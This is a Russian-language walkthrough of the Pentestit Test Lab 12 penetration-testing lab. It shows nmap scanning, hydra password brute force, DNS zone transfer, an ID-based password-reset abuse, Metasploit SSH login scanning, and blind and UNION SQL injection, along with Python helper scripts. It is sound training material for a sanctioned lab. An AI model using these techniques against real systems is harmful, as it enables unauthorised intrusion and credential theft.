Пентест-лаборатория «Pentestit Test lab 12» — полное прохождение

в 9:45, , рубрики: angr, ctf, jd-gui, Metasploit, pentest, pentestit test lab, recon, reverse engineering, SIEM, ssti, stego, stegsolve, взлом, информационная безопасность

image

Каждый год компания Pentestit запускает новую лабораторию для тестирования на проникновение «Test Lab», и данная статья будет посвящена прохождению 12-ой лаборатории, получившей название «z 9r347 39u411z3r» или если раскодировать — «The great equalizer».

Disclaimer
Данная статья не носит рекомендательный характер, а лишь описывает шаги, которые я предпринял для прохождения лаборатории. Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Подключение к лаборатории

Подключение к лаборатории происходит через VPN-соединение (так как я проходил лабораторию на машине под управлением ОС Linux, то все действия будут описаны именно для этой платформы). Для того чтобы попасть в частную сеть, необходимо выполнить следующие шаги:

  1. Зарегистрироваться здесь.
  2. Сохранить конфигурационный файлы отсюда.
  3. Зайти в настройки сети и выбрать «добавить VPN».
  4. Импортировать из файла (указываем скачанный файл с конфигурациями).
  5. Указать логин и пароль для подключения (даны на вкладке «how to connect»).
  6. Подключаемся к VPN и пингуем шлюз 192.168.101.1. Если пинг проходит, то вы успешно подключились к лаборатории.

Поиск цели

Нам доступна сеть 192.168.101.X с маской 255.255.255.0. Первым делом необходимо найти «живые хосты» в сети. Сделать это легко можно с помощью утилиты nmap:

nmap -sn 192.168.101.0/24
Используемые параметры nmap

-sn – определить «живые хосты»
ip/mask – адрес сети / маска

image

Так мы находим три хоста, один из которых мы уже знаем (шлюз):

  1. 192.168.101.1
  2. 192.168.101.12
  3. 192.168.101.13

Вторым этапом является сканирование обнаруженных хостов для поиска открытых и закрытых портов.

nmap -sV -Pn 192.168.101.12-13 -p-
Используемые параметры nmap

-sV – сканировать с определением версий ПО
-Pn – запретить пинг при сканировании
-p- – сканировать весь диапазон портов

image

Из отчетов видно, что недоступен 192.168.101.13, поэтому начинаем с 192.168.101.12. На 80 порту крутится web-сервер. Но при попытке зайти на него, возникает редирект на site.test.lab, который нам неизвестен (DNS не настроен на данный редирект). Проверку осуществляем с помощью браузера и утилиты curl.

curl http://192.168.101.12:80/
curl http://site.test.lab/

image

Сделаем запись в файле /etc/hosts для site.test.lab. Теперь, мы спокойно заходим на сайт.

image

Первым делом нужно собрать информацию о сайте. Самым важным является движок сайта (CMS — система управления контентом). Для этого используем утилиту wig.

wig -u http://site.test.lab/

По анализу получаем отчет – используется WordPress. Разберем вывод wig:

  1. IP и title записи.
  2. Название, версии и тип ПО.
  3. Важные страницы.
  4. Утилиты, которыми можно воспользоваться.
  5. Возможные уязвимости с ссылками на CVE.

image

image

Для сканирования CMS WordPress и, что важнее, установленных плагинов (именно они в большинстве своем уязвимы), лучше всего подойдет утилита wpscan.

wpscan --url http://site.test.lab/ --enumerate p --random-user-agent

Используемые параметры wpscan

--url «URL»
--enumerate p – перечисление (брут) плагинов
--random-user-agent – менять поле user-agent

Мы получаем нужную нам информацию: версию WordPress, уязвимости и установленные плагины. Дело в том, что данные уязвимости не предоставят нам желаемый доступ. Очень полезно определить используемы плагины. В данном случае это «wp-survey-and-poll». Важно понимать, что сканеры следует использовать лишь для получения информации о ПО. Так как нет единой базы узвимостей, то сканер может показать не все существующие эксплоиты. В результате сканирования имеем:

  1. Версия WP: 4.9.8.
  2. Twentyseventeen: yes, v. 1.9
  3. Plugins: wp-survey-and-poll v. 1.5.7

Вывод WPScan

image

image

image

image

Утилита searchsploit предназначена для удобного поиска в самой большой базе эксплойтов exploit-db, которая скачивается и сохраняется на ПК. Для версии 4.9.8 уязвимости в базе не обнаружено. Если проверим плагин, то обнаружим две уязвимости.

searchsploit "WordPress Survey Poll"

image

Узнаем больше про эти уязвимости. Это обычная Bind SQL-инъекция в сookie. Нам нужно ответить на вопрос и подставить в куки свой запрос. Техника очень проста: (любое выражение) OR 1=2 вернет ложь, тогда СУБД вместо решения на наш ответ выведет на экран вторую часть UNION объединенного запроса. Это все столбцы, один из которых (No 10) будет отображен на странице. Но эксплуатация из данного сегмента сети была невозможна, как стало позже известно, потому что блокирует WAF.

image

MAIL token

После неудачи на сайте необходимо найти другие точки входа. На сайте можно было найти логин info@test.lab, который мы будем использовать для подбора аутентификационной информации. Пройдемся по другим портам. На 8080 крутится web, но используется CSRF-токен. На 25 smtp, пароль к которому подобрать не вышло. У нас остается только порт 143 — это служба IMAP. Для брута я использовал инструмент hydra. Как оказалось, пароль был очень простой.

hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12

image

Так как мы нашли логин и пароль к почте, то авторизуемся на 192.168.101.12:8080.Теперь нужно как следует проанализировать всю почту. Причем необходимо собирать всю информацию, так как она может пригодиться позже. Вот что удалось найти:

  1. Во входящих: VPN-конфиги.
  2. В исходящих: Токен для задания MAIL.
  3. Имя пользователя sviridov@test.lab

image

VPN over VPN

Нам нужно расширяться в глубь сети компании. У нас есть VPN-конфиг, но отключиться от основного мы не можем. Данная техника называется VPN over VPN – когда мы подключаем VPN внутри VPN внутри VPN и т. д. Для VPN необходимы логин и пароль. Мы знаем только 2-х пользователей (info и sviridov) и пароль одного из них. Пробуем подключиться по известному логину и паролю, если не получится, то будем брутить. Для подключения выполним следующие шаги:

  1. Создаем файл userVPN.txt, где первая строка это логин, а вторая – пароль.
  2. Дописываем путь к этому файлу в VPN-конфиг в графе auth-user-pass
  3. Создаешь bash скрипт OverVPN.sh со следующим содержимым: openvpn --config путь_до_фала_конфигураций &
  4. Назначаем ему права: chmod 770 ./OverVPN.sh
  5. Запускаем: ./OverVPN.sh

image

Нам повезло, пользователь info@test.lab успешно авторизован, и нам говорят, что доступна новая сеть 172.16.0.0/16.

image

Первым делом необходимо найти «живые хосты» в сети, как это делали в прошлый раз:

nmap -sn 172.16.0.0/16

Так мы находим четыре хоста.

image

Просканируем каждый хост. На 172.16.0.1 ничего не обнаружено. Смею предположить, что это наш давно известный 192.168.101.13 в другой сети. Именно через него мы и связаны с этой сетью. На 172.16.0.10 доступен только Web-сервер на 80 порту. На 172.16.0.17 видим целый «полигон» для тестирования. На 172.16.1.2 ничего. Скорее всего это еще один VPN сервис.

Результаты сканирования nmap

image

image

image

DNS token

Так как следующий в списке токенов – DNS, то начнем анализировать DNS службу на 172.16.0.17 порт 53. Главная уязвимость, это получение DNS записей — трансфер зоны DNS (так называем AXFR запрос). Выполним его с помощью утилит nslookup и dig.

Первой узнаем зоны и имена серверов, отвечающих за эти зоны.

nslookup
> set type=ANY
> set port=53
> SERVER 172.16.0.17
> test.lab

Второй выполним трансфер.

dig @172.16.0.17 ns1.test.lab axfr

image

image

Этот DNS-сервер не отвечает. Но он знает об остальных DNS в сети. Утилита dnsrecon позволяет проделать абсолютные любые операции с dns. Получим остальные DNS в сети, и добавим их в файл /etc/hosts.

dnsrecon -d test.lab -n 172.16.0.17 -t brt

Параметры dnsrecon

-d «домен»
-n «сервер»
-t brt – техника, в данном случае брутфорс.

При сканировании хоста 172.16.0.17 получим токен.

dnsrecon -d test.lab -n 172.16.0.17 -a

Результат dnsrecon

image

image

image

Helpdesk token

Следующее по списку задание: helpdesk. Мы нашли и добавили схожий домен. Причем это единственный сервис, который работает на 172.16.0.10. Там простая форма авторизации, никаких CMS не используется. Как всегда, пробуем войти под известными пользователями. И спокойно заходим под пользователем info@test.lab. Видим форму запросов, после запроса token, ничего не получаем. Видимо у нас его нет, но, как это бывает в подобных заданиях, он доступен другому пользователю. Немного просмотрев страницу, находим возможность сменить пароль.

image

Просканировав различными сканерами формы поиска и смены пароля, ничего не находим. Глянем исходный код страницы смены пароля. Если его обновить секолько раз, то можно заметить, что скрытое поле с CSRF-токеном не изменяется. То есть это не CSRF-токен. Это base64, декодируем и получаем число.

image

image

Так как не отправляются никакие cookie, то очевидно, что это id пользователя. План следующий: меняем пароли на всех id, а на тех id, на которых получен успешный результат, по нашему паролю подбираем логин.

Реализация с помощью Burp Suite

image

image

image

image

image

image

Всего два id ответили успешно на запрос о смене пароля. Теперь осталось подобрать логин. Root и admin результата не дали, а вот sviridov@test.lab дает нам токен.

AD token

Перед тем, как идти по пути VPN, посмотрим сервисы на 172.16.0.17. Копаем SAMBA workgroup TEST (из анализа nmap). Первым делом нужно узнать пользователей в домене:

enum4linux -U 172.16.0.17

Enum4linux определяет домены, пользователей в доменах, их rid и другую информацию. Среди пользователей забираем и токен. Кстати, все логины лучше сохранить.

image

USERS token

Из helpdesk задания узнали, что пользователю sviridov выдали доступ к сети, т. е. vpn конфиг. Пароль берем также из helpdesk. Пробуем подключиться к 192.168.101.13 по имеющемуся конфигу, но заменим логин и пароль пользователя в userVPN.txt.

image

Ничего не получается. Тогда пробуем подключится к 192.168.101.12. Мы подключены, и нам доступны сети 192.168.0.0/24 и 172.16.0.0/16.

image

Теперь снова необходимо проводить разведку сети. Нам доступна две сеть 172.16.0.0 с маской 255.255.0.0, где мы находим восемь хостов, и сеть 192.168.0.0/24, которая не сканируется. Видимо на всех хостах активирован брэндмауер. Сканируем с опцией -Pn, и в отчете получаем абсолютно все хосты и везде фильтруются порты. Замечаем, что в сети есть хосты, у которых открыт 22 порт:

  • 192.168.0.10
  • 192.168.0.15
  • 192.168.0.30
  • 192.168.0.100
  • 192.168.0.205
  • 192.168.0.240

Результат сканирования nmap

image

image

image

image

image

image

Так как единственное, что есть в сети 192.168.0.0/24 – шесть хостов с открытыми ssh портами, то пробрутим их все на возможность подключения под одним из известных нам пользователей.

image

Так как хостов шесть, то автоматизируем поиск с помощью утилиты metasploit framework. Будем использовать модуль auxiliary/scanner/ssh/ssh_login.

> use auxiliary/scanner/ssh/ssh_login
> set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240
> set USERPASS_FILE '/root/CTF/PT12/userspass.txt'
> exploit

image

Заходим на все хосты под обоими пользователями и ищем информацию. После долгого блуждания на 192.168.0.100 находим ошибку в правах доступа. Домашняя директория пользователя доступна для просмотра абсолютно всем. В ней находим токен. Но его автор – sviridov. Логинимся под Свридовым и сдаем токен.

image

Больше ничего интересного найдено не было. Ip route других сетей не имел. В cron стояла только чистилка. В /tmp/ много непонятного:

  • 1.sh — ничего не давал.
  • Client.jar не запускается, так как нет JVM. Странно зачем он вообще нужен.
  • Переименновай в DAGESTAN_SILA nmap.
  • Два чекера на повышение привелений.
  • И куча разного мусора.

VPN token

В сети 172.16.0.0/16 на всех хостах открыт 80 порт. Стоит просмотреть сайты на всех хостах:

  • На 172.16.1.10 находим токен!!! Подошел к заданию VPN. Видимо задание состояло в том, чтобы догадаться подключиться к 192.168.101.12 под пользователем sviridov.
  • На 172.16.1.12 форма авторизации.
  • На 172.16.1.15 basis-аутентификация.

Было очень легко, идем дальше.

SIEM token

Идем на 172.16.1.12. Читаем что такое Prewikka. Prewikka – это основной пользовательский интерфейс SIEM-системы Prelude, реализованный через Web. Доступ к интерфейсу осуществляется через Web-браузер. Аутентификация производится с помощью локальных учетных записей или через LDAP-каталог. Эксплоиты найти не удалось. Гуглим логин и пароль по умолчанию. Неудача, т. к. они указываются при установке системы. Но можно попробобать пример из документации: prelude:preludepasswd — не подошло. Попробуем пользователей, которых мы уже знаем (причем мы знаем пароли только двоих). Подошел sviridov. Важно заметить, что доступ к SIEM системе имеет только администратор. Можно утверждать, что мы определили админа.

Наблюдаем, что выводятся данные за этот месяц. Переведем журнал на месяц ранее и увидим залогированные данные.

image

Сразу отметим домены, которые добавим в /etc/hosts:

  • (admin.test.lab) 172.16.1.25
  • (vpn-admin.test.lab) 172.16.1.10
  • (repository.test.lab) 172.16.1.15
  • (site.test.lab) 172.16.0.14

image

Среди логов repository.test.lab найдем токен.

image

Так как мы нашли и добавили новую запись для site.test.lab в /etc/hosts, вернемся и проэксплуатируем уязвимость на site.

Site token

Вернемся к site.test.lab, который теперь соответствует 172.16.0.14. Посмотрим, сработает ли на него WAF. Отправляем нашу нагрузку из примера и получаем версию СУБД. Далее узнаем какая база данных используется. Если совпадет с дефолтными данными, то можно сразу получить имя и хеш пользователя, так как по дефолту таблица с пользователями: wp_users. Имя БД (wordpress) совпадает, поэтому узнаем имя пользователя и пароль. К сожалению, это ничего не дает. Пароль пробрутить тоже не вышло.

Далее (технику я описывать не буду, это основы) идем по обычному в данном случае пути – получаем названия всех таблиц. Среди них есть нужная таблица – token. Узнаем какие есть столбцы и типы данных. После чего понимаем, что нужно получить значение name.

Эксплуатация уязвимости с помощью Burp Suite

image

image

image

image

Repository token

В SIEM мы нашли логи для repository.test.lab. Попробуем авторизоваться при помощи найденных данных. Можно снова вернуться и поискать логи абсолютно на все сервисы, которые там есть.

image

Переходим, пытаемся авторизоваться. Успешно!!! Видим какие-то файлы и токен.

image

Reverse token

В репозитории кроме токена лежали еще два файла. Один из них для задания Reverse – это bin файл. Проведем базовый анализ исполняемого файла:

  • Strings – утилита, которая отобразит все строки из файла. В данном случае видим много base64 строк. Декодирование ничего не дает.
  • Ltrace – утилита, которая перехватыват вызов библиотечных функций. В данном случае никаких библиотечных функций не вызывалось.
  • Strace – утилита, которая перехватывает все сисколы (системные вызовы). Полезных нам данных мы не получили.

Результат работы данных утилит

image

image

image

Полезных нам данных мы не получили. Для заданий такого плана я предпочитаю использовать Angr для автоматического решения (более подробно про библиотеку angr я напишу в последующих статьях). Привожу код на языке python.

import angr
import claripy
proj = angr.Project('./bin')
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1))
s = simgr.found[0]
print(s.posix.dumps(0))

Получаем токен в качестве ответа.

image

DB token

Теперь разберемся с jar-файлом. Нужно понять, что он делает. Java является декомпилируемым языком, поэтому получим исходный код. Есть много программ, которые позволяют это сделать (лучшие: JAD, JD-gui, Javasnoop, плагин Intellij Idea Decompiler, JD-plugin Eclipse). Я использую JD-gui для декомпиляции и Intellij Idea для сборки проектов. Получим исходный проект, выполнив следующие шаги:

  1. Запустим jd-gui. В Linux есть проблема с запуском, которую можно решить так – создать bash файл со следующим содержимым:
    java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar
  2. Загрузить client.jar и сохранить.
  3. Открыть Intellij Idea → Import Project. Указать путь к папке с файлами.
  4. Create project from existing sources.

Сохранение в JD-GUI

image

image

Разберем код приложения, чтобы представлять себе для чего оно нужно. Первым делом устанавливаются параметры подключения и SSL. Обращение происходит по адресу 172.16.0.55 на порт 5074. Далее нам выводится сообщение с просьбой ввести одну из цифр для выбора запроса. В зависимости от нее в функцию Reqvest передается определенный параметр. Функция Reqvest возвращает сформированный запрос в формате json. Отправляем запрос и получаем ответ.

Исходный код декомпилированного приложения

image

image

image

Есть сложность: нам не доступен хост 172.16.0.55. Но мы нашли подобное приложение на 192.168.0.240 у Свиридова. Значит маршрутизация настроена таким образом, что с его компьютера есть доступ к серверу приложения. Так как мы имеем доступ по SSH, мы можем пробросить порт на свою локаль. Для проброса порта используем утилиту sshuttle.

sshuttle -r sviridov@192.168.0.240 172.16.0.0/16

image

Как итог — получаем доступ в сеть.

image

Теперь протестируем приложение в режиме отладки, но чтобы что-то изменить, нужно пересобрать проект. При попытке запустить приложение через F9, получаем ошибку. Для ее исправления необходимо:

  1. Очистить повторения.
  2. Ошибка в json. Удалить всю папку с проета.
  3. Выбираем проект, в контекстном меню: Open Module Setting или F4
  4. Во вкладке Dependencies выбрать «+» и указать jar-файл. Так мы из готового проекта подгрузим уже собранные библиотеки, которые испортил декомпилятор.

image

Теперь приложение успешно запускается, и мы можем приступить к поиску уязвимостей. Строка запроса, как мы разобрались, формируется внутри функции Reqvest. Изменим немного код, чтобы понять, как реагирует система на любой наш ввод. Допишем строки, в которых будем контролировать возвращаемый параметр и отображать его в консоли. Далее выполним четыре возможных запроса. Как можем наблюдать, передается JSON-строка. И система, чем-то напоминает HelpDesk, вернет нам запросы пользователя. Кстати, видимо на сервере крутятся базы данных, так как приложение возвращает нам пользователя под которым сделан запрос.

Тесты

image

image

image

image

image

Для того, чтобы было удобней изменять и подстраивать параметры, сделаем так, чтобы функция возвращала постоянно одну и ту же строку.

image

Так как на сервере используется БД, то первым делом проверим наличие SQL-иньекции:

  1. Отправим самую безобидную нагрузку — функцию задержки. Запрос с задержкой на 10 секунд выполняется намного дольше, чем с задержкой на 0 секунд. Есть SLEEP инъекция.
  2. Проверим уязвима ли она для BLIND. Так как вывод на верное условие не изменился, то приложение уязвимо и для BLIND инъекции.
  3. Сперва нужно выяснить количество столбцов в выводе. Для этого мы строим объединенный запрос UNION. Перебираем количество столбцов пока не будет вывода. Так вывод появляется при 5 столбцах.
  4. Теперь необходимо узнать служебную информацию: СУБД (@@version) и имя БД (database()). Имя БД – чтобы знать к чему обращаться, а СУБД – каким окружение оперировать. Так узнаем, что используется MySQL, а имя БД – «reqvest».
  5. Теперь через окружение information_schema узнаем какие существуют таблицы. Нас интересует token.
  6. Узнаем какие столбцы есть в таблице token.
  7. Выводим содержимое таблицы token.

Эксплуатация"

image

image

image

image

image

image

Вот таким интересным получилось данное задание!!!

User api token

После обнаружения шести скрытых хостов в сети 192.168.0.0/24 я задумался о том, что такие могут быть и в 172.16.0.0/16. Выполним такое же сканирование по оcновным портам. Так как вывод слишком большой то будем искать по ключевому слову «open». Находим еще два хоста с открытым вебом.

image

Что же, раз от нас пытались скрыть 172.16.1.20:8000, заходим на него и видим AJAX-приложение. Ну как всегда просканируем директории. Все, что нашел dirb, и так нам доступно.

image

Страница contact для нас бесполезна. Страница login требует авторизоваться. А support содержит какой-то файл-баркод. Похоже это стего, поэтому пока оставим. Кстати, если заходить на эту страницу несколько раз, то появляются разные изображения. Сохраним все, их всего 4. Декодируются как «support_team».

Просморим, какие каталоги есть. Наблюдаем пять каталогов: contac, get_user_list, recover_password, login, support. Так если обратиться к каталогу get_user_list, нам скажут, что есть два параметра – строка login и строка password. Смотрим, подбираем пользователей и пароли – ничего не дает. В баркодах было support_team пробуем как логин. И снова брут нигде ничего не дает.

image

Случайно вставив кавычку, обнаружим странную реакцию.
login=support_team“&password=“ and “1=1“

И нам показывают список пользователей.

image

При попытке зайти под любым пользователем, получаем ту же ошибку. Найдем верную пару user:login. Напишем скрипт, который пройдет все пары и выберет те, которые пройдут проверку.

Код


from requests import get
list_user = [{"login": "potapova", "user": "Potapova"}, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": "ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": "Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": "Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}]
url = "http://172.16.1.20:8000/recover_password"
l = len(list_user)
valid=[]
for i in range(l):
	print(str(i)+" - " + str(l))
	req = get(url, params=list_user[i])
	if "use valid credentials" not in req.text:
		print(list_user[i])
		valid.append(list_user[i])
print(valid)

Так мы находим Медведева.

image

Восстановим его пароль. Сдать сразу не получится, так как «+» будет распознан как пробел, а «&» как разделитель. Кодируем в URLencode и забираем токен.

image

Image token

Так, мы нашли картинки для стего. Давайте разбираться. Утилитой file, binwalk и hex-редактором проверяем файлы на вложения. Их нет, потому проведем анализ утилитой stegsolve. B самой большой картике находим выпадающие биты на 2-х и 1-х позициях rgb. Это LSB метод.

image

Дальше, как я не крутил в stegsolve, ничего не получил. Придется разбираться более глубоко ручками. Для этого используем PIL библиотеку python для работы с изображениями. Просматриваем картинку, и видим что пиксели принимают три значения – 0, 255 и 249. Построим бинарную карту изображения. Так как 0 и 255 для баркодов – это нормальные значения, то вместо них будем записывать «0», а вместо 249 – «1». Дальше попробуем разбить нашу карту по шестнадцать символов и удалить из нее все строки, которые содержат только шестнадцать нулей. Далее из каждой строки выписываем позицию единицы, и переводим из шестнадцатиричного вида в строку, чтобы получить токен.

Изображения

image

image

image

Код


from PIL import Image
import binascii
image = Image.open('./support4.png')
width, height = image.size
pix = image.load()
r=''
for i in range(height):
	for j in range(width):
		if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0):
			r+='1'
		else:
			r+='0'
token=''
for i in range(0,len(r),16):
	if r[i:i+16] != '0'*16:
		token+=hex(r[i:i+16].find('1'))[2]
print(token)

My token

